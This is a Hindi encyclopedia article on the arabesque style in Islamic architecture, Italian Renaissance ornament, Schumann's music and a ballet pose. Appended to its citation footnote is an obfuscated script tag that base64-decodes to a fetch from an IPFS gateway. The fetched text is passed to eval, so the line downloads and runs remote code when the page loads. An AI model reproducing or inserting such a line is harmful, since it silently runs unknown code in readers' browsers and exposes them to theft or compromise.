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अरबी शैली  

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अरबी शैली वास्तु, मूर्तिकला, चित्रकला, संगीत आदि में प्रयुक्त एक शैली। इसका नाम 'अराबेस्क' अथवा अरबी शैली इस कारण पड़ा कि इसका संबंध अरबों, सरासानों और मूरों (स्पेनी अरबी) की कला से है। इस्लाम सदा से कला में मानव अथवा पाशविक आकृतियों के रूपायन का विरोधी रहा है और उसने वास्तु में इनका आकलन वर्जित किया है। पर वास्तु और चित्रण में अलंकरण इतना अनिवार्य होता है कि इस्लाम को उस क्षेत्र में पशु-मानव-आकृतियों के स्थान पर लतापत्रों अथवा ज्यामितिक रेखाओं का गुफित आलेखन अपनी इमारतों पर स्वीकार करना ही पड़ा। यही आलेखन अरबी शैली कहलाता है। वास्तु के अतिरिक्त इस अलंकरणशैली का उपयोग पुस्तकों के हाशियों आदि के लिए स्वतंत्र रूप से अथवा अलकूफ़ी अक्षरों के साथ हुआ है। इस प्रकार के अलंकरण के उदाहरण यूरोपीय देशों में अलहम्रा (स्पेन) और सिसिली की इमारतों पर अवशिष्ट हैं। इसका सुंदरतम रूप काहिरा में तूलुन की मस्जिद (निर्माण 876 ई.) पर उत्कीर्ण है।

पर कला के इतिहास में अरबी शैली यह नाम वस्तुत: एक कालविरुद्ध दूषण (अनाक्रानिज्म) है, क्योंकि इसके लाक्षणिक शब्द 'अराबेस्क' का उपयोग उन संदर्भों में होने लगा है जो अरबी कला से संबंधित शैली से बहुत पूर्व के हैं। दोनों के अलंकरणों के 'अभिप्राय' (मोटिफ़) समान होने के कारण अरबी-सरासानी-मूरी इमारतों से अति प्राचीन रोमन राजप्रासादों और पहली सदी ईसवी में विध्वस्त पांपेई नगर के भवनों में मूर्त अर्धचित्रों और उत्कीर्णनों को भी अरबी शैली में आलिखित संज्ञा दी गई है। कालांतर में तो अरबी से सर्वथा भिन्न इटली के पुनर्जागरणकाल के कलालंकरणों तक ही इस संकेत शब्द का उपयोग परिमित हो गया है। इटली के मात्र 15वीं सदी (सिंकेसेंतो) के वास्तु अलंकरणों के लिए जब कलासमीक्षकों ने इस शब्द का उपयोग सीमित कर अन्य (मूल अरबी संदर्भों तक में) संदर्भों में वर्जित कर दिया तब यह केवल समसामयिक अथवा प्राचीन क्लासिकल समान अलंकरणें को व्यक्त करने लगा।

संगीत में पहले पहल पियानों संबंधी एक प्रकार के गीत के लिए जर्मन गीतिकार शूमान ने 'अराबेस्क' का उपयोग किया। बाद में गेय विषय के अलंकरण को अभिव्यक्त करने के लिए भी यह प्रयुक्त होने लगा। नर्तन में भी एक मुद्रा को अरबी शैली व्यक्त करती है। इस मुद्रा में नर्तक एक पैर पर खड़ा होकर दूसरा पैर पीछे फैला समूचे शरीर का भार उस एक ही पैर पर डालता है, फिर एक भुजा अपने पीछे फैले पैर के समानांतर कर दूसरी को आगे फैला देता है।[१]


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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 223 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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